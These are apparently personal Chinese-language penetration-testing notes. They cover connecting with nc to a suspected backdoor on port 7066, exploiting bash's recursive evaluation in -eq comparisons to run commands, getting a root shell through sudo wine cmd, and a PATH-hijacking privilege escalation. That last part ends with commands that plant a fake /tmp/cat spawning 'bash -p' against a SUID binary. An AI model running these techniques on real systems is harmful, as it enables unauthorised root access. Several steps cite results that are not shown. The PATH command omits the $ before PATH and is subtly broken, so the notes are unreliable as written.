7066端口
这个端口一般是马,可以直接用nc连试试。不过可能会断联,nmap也可能探测不出来,要多尝试几次
bash中的比较
如果使用-ne,-eq等比较两个值是否相等的办法,会先将变量作为表达式进行执行解析,尝试转化为整数。例如
read -p ">>>" a
b=456
if [[ $a -eq $b ]]; then #这里注意,[[]]里要用空格和$a、$b隔开,不然会报错
echo "right"
else
echo "wrong"
fi
可以发现b被直接拿去解析了。就算加引号也会递归
read -p ">>>" a
b="c"
c=123
if [[ "$a" -eq "$b" ]]; then
echo "right"
else
echo "wrong"
fi
代码里是加了""
的,但是在debug模式下就不见了,说明bash确实会执行给的表达式
那我们就可以利用递归这一点进行利用。先试试数组
成功利用,试试c[1]
因为c[1]是空的所以是wrong。接着再试试算式
成功执行,那就试试$()
吧
wine提权
wine是用来转椅windows程序的,并且自带了windows的cmd环境。如果wine有sudo,可以直接用sudo wine cmd
拿到拥有root权限的cmd
当然要是不行的话,也可以用cs上线的方式拿到shell。msfvenom会报错,原因不明。
PATH提权
和windows里的path环境变量有点类似,linux下的PATH一般指向程序的运行路径。例如我们常用的cat,ls等指令,之所以可以直接执行而不用在前面加一大串路径就是因为PATH里给你写好了,比如这是我自己的kali PATH
只要在这些路径下的可执行程序或脚本都可以直接上。
那么这就有可以操作的空间,如果某天你碰到一个开发者自己编译的程序,用string看到里面调用了cat或者ls,并且有suid,那么只需要做下面这波操作就能提权。下面以cat为例
export PATH=/tmp:PATH
echo -e '#!/bin/bash\nbash -p' > /tmp/cat
chmod +x /tmp/cat
./开发者的程序